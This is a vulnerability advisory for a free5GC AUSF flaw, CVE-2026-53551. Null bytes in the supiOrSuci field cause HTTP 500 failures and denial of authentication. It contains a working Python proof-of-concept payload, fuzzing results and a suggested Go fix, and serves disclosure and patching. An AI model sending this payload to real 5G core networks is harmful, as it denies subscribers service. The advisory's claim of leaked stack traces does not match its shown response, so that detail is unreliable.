CVE-2026-53551: free5GC AUSF · null byte injection in supiOrSuci causes HTTP 500 internal service failure

### Summary The free5GC AUSF (Authentication Server Function) does not validate the `supiOrSuci` field in UE authentication requests. Null bytes (`\x00`) and other control characters pass through JSON parsing unchanged and are forwarded to the UDM in an unescaped URL path. This causes Go's `net/url.Parse()` to fail, returning HTTP 500 "System failure" and leaking internal stack traces. An unauthenticated attacker can trigger this at scale—4.1% of `special_chars` mutations produce HTTP 500—causing denial of service for all subscribers attempting authentication through the affected AUSF. CWE-20 (Improper Input Validation). --- ### Details The vulnerability lies in the AUSF's `POST /nausf-auth/v1/ue-authentications` handler. The JSON body includes a `supiOrSuci` field: ```json {"supiOrSuci": "imsi-208930000000031", "servingNetworkName": "...", "authType": "5G_AKA"} ``` The AUSF parses this JSON (Go's `encoding/json` accepts null bytes in strings per RFC 8259), then constructs a UDM URL by directly embedding the raw `supiOrSuci` value: ``` GET /nudm-ueau/v1/{supiOrSuci}/security-information/... ``` When `supiOrSuci` contains null bytes (`\x00`), the resulting URL is illegal under RFC 3986. Go's `net/url.Parse()` fails, and the error propagates as an unhandled internal error, returning HTTP 500 with a stack trace in the response body: ``` {"error":{"status":"INTERNAL_SERVER_ERROR","message":"System failure"}} ``` The AUSF container log shows: `net/url: invalid control character in URL`. **Attack chain:** ``` 1. Attacker → AUSF: POST {"supiOrSuci": "imsi-\x00...", ...} 2. AUSF: JSON parsed OK (null bytes valid in JSON strings) 3. AUSF → UDM: GET /nudm-ueau/v1/imsi-\x00.../security-information/... 4. UDM: net/url.Parse() fails (\x00 illegal per RFC 3986) 5. AUSF ← UDM: error 6. Attacker ← AUSF: HTTP 500 {"message": "System failure"} ``` **Contrast with C/C++ 5GCs:** The same null-byte injection in string fields causes SIGSEGV/SIGABRT in OAI (C++) and Open5GS (C), but "only" HTTP 500 in free5GC (Go). Go's memory safety converts the crash into a recoverable error—the service survives, but the denial is equally effective. **Discovery context:** Found via automated 5G SBI fuzzing. The `special_chars` mutation strategy injected 10 consecutive null bytes into string-valued JSON fields. Across 24h of fuzzing: | Strategy | Requests | HTTP 500s | Trigger Rate | |----------|----------|-----------|-------------| | `special_chars` | 98,304 | 4,021 | 4.1% | | `seed_replay` | 132,428 | 7,947 | 6.0% | | `grammar_aware` | 30,944 | 683 | 2.2% | 100% of HTTP 500s originated from the `POST /nausf-auth/v1/ue-authentications` endpoint. ### PoC **No configuration changes needed.** Default free5GC deployment is vulnerable. ```python #!/usr/bin/env python3 import http.client, json AUSF_HOST = "127.0.0.1" # Replace with AUSF IP (e.g. 172.24.0.50) AUSF_PORT = 8000 # Bug: null bytes in supiOrSuci → HTTP 500 body_bug = json.dumps({ "supiOrSuci": "imsi-\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00", "servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org", "authType": "5G_AKA" }) conn = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5) conn.request("POST", "/nausf-auth/v1/ue-authentications", body=body_bug, headers={"Content-Type": "application/json"}) resp = conn.getresponse() print(f"Bug: Status {resp.status}") # Returns 500 # Contrast: normal SUCI → 404 (expected, UE not found) body_normal = json.dumps({ "supiOrSuci": "imsi-208930000000031", "servingNetworkName": "5G:mnc093.mcc208.3gppnetwork.org", "authType": "5G_AKA" }) conn2 = http.client.HTTPConnection(AUSF_HOST, AUSF_PORT, timeout=5) conn2.request("POST", "/nausf-auth/v1/ue-authentications", body=body_normal, headers={"Content-Type": "application/json"}) resp2 = conn2.getresponse() print(f"Normal: Status {resp2.status}") # Returns 404 ``` **Run:** `python3 reproduce.py` **Expected fix (input validation + URL escaping):** ```go import "regexp" import "net/url" var suciRegex = regexp.MustCompile(`^[a-zA-Z0-9\-]+$`) func validateSUCI(supiOrSuci string) error { if strings.ContainsFunc(supiOrSuci, func(r rune) bool { return r < 0x20 || r > 0x7e }) { return fmt.Errorf("SUCI contains illegal characters") } return nil } // URL-escape before constructing UDM request udmURL := fmt.Sprintf("http://%s/nudm-ueau/v1/%s/security-information/...", udmAddr, url.PathEscape(supiOrSuci)) ``` ### Impact | Property | Value | |----------|-------| | **Authentication** | None required (unauthenticated SBI endpoint) | | **Impact** | Denial of Service — AUSF returns HTTP 500 for all authentication requests during attack | | **Information Leak** | HTTP 500 response leaks internal `net/url.Parse` error, enabling backend fingerprinting | | **Affected version** | free5GC v4.2.2 (latest) | | **Fix** | Validate `supiOrSuci` before URL construction; use `url.PathEscape()` | **Environment:

• github.com/free5gc/free5gc/security/advisories/GHSA-qj55-47fp-p62j (opens in a new tab)
• github.com/free5gc/free5gc/issues/1048 (opens in a new tab)
• github.com/free5gc/ausf/pull/61 (opens in a new tab)
• github.com/free5gc/ausf/commit/bfc4a10094dbacbd862baa4686829f3fcc06ce1e (opens in a new tab)
• github.com/free5gc/ausf/releases/tag/v1.4.5 (opens in a new tab)
• github.com/free5gc/free5gc (opens in a new tab)
• github.com/free5gc/free5gc/releases/tag/v4.2.2 (opens in a new tab)

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